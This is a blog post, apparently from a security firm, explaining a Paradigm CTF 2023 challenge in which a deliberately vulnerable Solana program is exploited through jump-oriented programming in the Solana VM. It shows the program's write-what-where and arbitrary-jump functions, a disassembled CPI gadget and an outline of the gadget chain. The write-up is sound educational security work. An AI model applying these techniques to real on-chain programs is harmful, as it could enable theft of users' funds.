Solana: Jumping Around in the VM

Dec 11, 2023

Solana: Jumping Around in the VM

An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.

In the world of CTFs, Paradigm CTF 2023 was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.

To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: Solana: An Auditor's Introduction and Reverse Engineering Solana with Binary Ninja.

In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.

Overview

The challenge itself resides into framework/, and is composed of 2 parts:

framework/chall/lib.rs: The on-chain eBPF program that needs to be exploited.
framework/src/main.rs: Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.

Vulnerable Program

The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!

If data[0] == 0 a function that lets you write-what-where is executed

#[inline(never)]
pub fn write(data: &[u8]) {
    unsafe {
        let ptr = std::mem::transmute::<[u8; 8], *mut u64>(data[..8].try_into().unwrap());
        let val = std::mem::transmute::<[u8; 8], u64>(data[8..16].try_into().unwrap());
        ptr.write_volatile(val);
    }
}

If data[0] == 1, a CPI to a non-existent program is executed:

#[inline(never)]
pub fn call(data: &[u8]) {
    let ix = Instruction {
        program_id: pubkey!("osecio5555555555555551111111111111111111111"),
        data: data.try_into().unwrap(),
        accounts: vec![]
    };

    invoke_signed_unchecked(
        &ix,
        &[],
        &[],
    ).unwrap();
}

Finally, if data[0] is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:

#[inline(never)]
pub fn process(mut data: &[u8]) {
    unsafe {
        let ptr = std::mem::transmute::<[u8; 8], fn(u64)>(data[..8].try_into().unwrap());
        let val = std::mem::transmute::<[u8; 8], u64>(data[8..16].try_into().unwrap());
        ptr(val);

        data = &data[16..];

        let ptr = std::mem::transmute::<[u8; 8], fn(u64)>(data[..8].try_into().unwrap());
        let val = std::mem::transmute::<[u8; 8], u64>(data[8..16].try_into().unwrap());
        ptr(val);
    }
}

Test Environment

To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.

When you connect to the server through a tcp connection, framework/src/main.rs::handle_connection gets executed, which does the following:

Creates a new Solana local node

let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();
assert!(builder.add_program("/path/to/chall.so", Some(chall::ID)) == chall::ID);
let mut chall = builder.build().await;

Funds the user account with 100 SOL

let user_keypair = Keypair::new();
let user = user_keypair.pubkey();

let payer_keypair = &chall.ctx.payer;
let payer = payer_keypair.pubkey();

chall
    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))
    .await?;

writeln!(socket, "user: {}", user)?;

Reads an instruction from the tcp stream and executes it

let solve_ix = chall.read_instruction(chall::ID)?;
chall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;

Checks that the account at PDA("FLAG") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.

let flag = Pubkey::create_program_address(&["FLAG".as_ref()], &chall::ID)?;
if let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {
    if acct.data.len() == 0x1337
        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337
    {
        writeln!(socket, "congrats!")?;
        if let Ok(flag) = env::var("FLAG") {
            writeln!(socket, "flag: {:?}", flag)?;
        } else {
            writeln!(socket, "flag not found, please contact admin")?;
        }
    }
}

Solution Idea

You may think it's impossible to do with just one instruction, but we can actually leverage the process function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.

In order to get the flag, we need to make sure that the account at PDA("FLAG") exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.

Essentially, we need to invoke the System Program, and write controlled data into the newly created account.

A sample program that does this is as follows:

pub fn process_instruction(
    program_id: &Pubkey,
    accounts: &[AccountInfo],
    data: &[u8]
) -> ProgramResult {
    let flag_pda_ai = &accounts[0];
    let user_ai = &accounts[1];

    // Step 1: Create a new account with 0x1337 bytes of data
    let instruction = Instruction::new_with_bincode(
        system_program::ID,
        &SystemInstruction::CreateAccount {
            space: 0x1337,
            lamports: Rent::default().minimum_balance(0x1337),
            owner: chall::ID
        },
        vec![
            AccountMeta::new(*user_ai.key, true),
            AccountMeta::new(*flag_pda_ai.key, true),
        ],
    );
    invoke_signed_unchecked(
        &instruction,
        &[
            user_ai.clone(),
            flag_pda_ai.clone(),
        ],
        &[&["FLAG".as_ref()]],
    )?;

    // Step 2: Write 0x4337 to the first 8 bytes of the account
    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());

    Ok(())
}

To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:

Screenshot

It works! Now we "just" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.

Solution Implementation

Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple process invocations:

graph LR
    A[0: entrypoint] --> B[1: process_instruction]
    B --> C[2: process]
    C --> D[3: gadget1]
    C --> E[3: process]
    E --> F[4: gadget2]
    E --> G[...]

What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!

To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use Binary Ninja to find a suitable gadget for this.

Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to skip the strip pass.

CPI Gadget

Looking at the program source, one idea is to look for the cpi gadget around the call function. This function calls into the solana sdk's function invoke_signed_unchecked, yielding a powerful gadget at the address 0x100001ba8.

solana_program::program::invoke_signed_unchecked
100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}
100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}
100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}
100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}
100001bc8  8520000020100000   call sol_invoke_signed_rust
100001bd0  5500040000000000   jne <+4> r0, 0x0

100001bd8  b701000018000000   mov r1, 0x18
100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}
100001be8  6312000000000000   stxw [r2-0], r1  {0x18}
100001bf0  0500030000000000   ja <+3>

100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}
100001c00  bf02000000000000   mov r2, r0
100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE

100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}
100001c18  1502040000000000   jeq <+4> r2, 0x0

100001c20  2702000022000000   mul r2, 0x22
100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}
100001c30  b703000001000000   mov r3, 0x1
100001c38  8510000003feffff   call __rust_dealloc

100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}
100001c48  1502030000000000   jeq <+3> r2, 0x0

100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}
100001c58  b703000001000000   mov r3, 0x1
100001c60  85100000fefdffff   call __rust_dealloc

100001c68  9500000000000000   exit {__return_addr}

Which, assuming that sol_invoke_signed_rust returns 0, is doing the following:

sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])
*[r10-120] = 0x18
Calls __rust_dealloc, which in default circumstances is a NOP.

r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.

If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.

Looking at the definition, it's not crystal clear what the parameters are:

fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64

The source of invoke_signed_unchecked helps a lot, but looking at the actual implementation provides more clarity:

instruction_addr points to a StableInstruction:

StableInstruction

account_infos_addr points to a slice of account_infos_len AccountInfos.
signers_seeds_addr is a bit trickier, it points to a slice of length signers_seeds_len, containing slices of u8.

signers.drawio

Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to future call frames.

Now that we have all the parts, all we need is to string it together. The full reference solution can be found here.

Here's a visualization of the final JOP chain.

graph BT
    A[0: entrypoint] --> B[1: process_instruction]
    B --> C[2: process]
    C --> D[3: Write account_infos.ptr to target_r10 - 136]
    C --> E[3: process]
    E --> F[4: Write account_infos.len to target_r10 - 128]
    E --> G[4: process]
    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]
    G --> I[5: process]
    I --> J[6: Write signers_seeds.len to target_r10 - 144]
    I --> K[6: process]
    K --> M[7: Write HeapBase to target_r10 - 120]
    K --> N[7: process]
    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]
    N --> O[8: Write 0x4337 to the account]

Small note: target_r10 is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:

fn call_frame_addr(depth: u64) -> u64 {
    0x200000000 + 0x2000 * depth + 0x1000
}
// call_frame_addr(8) = 0x200011000

Conclusion

Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, they do exist.

In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.

Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the entire runtime.

Dec 11, 2023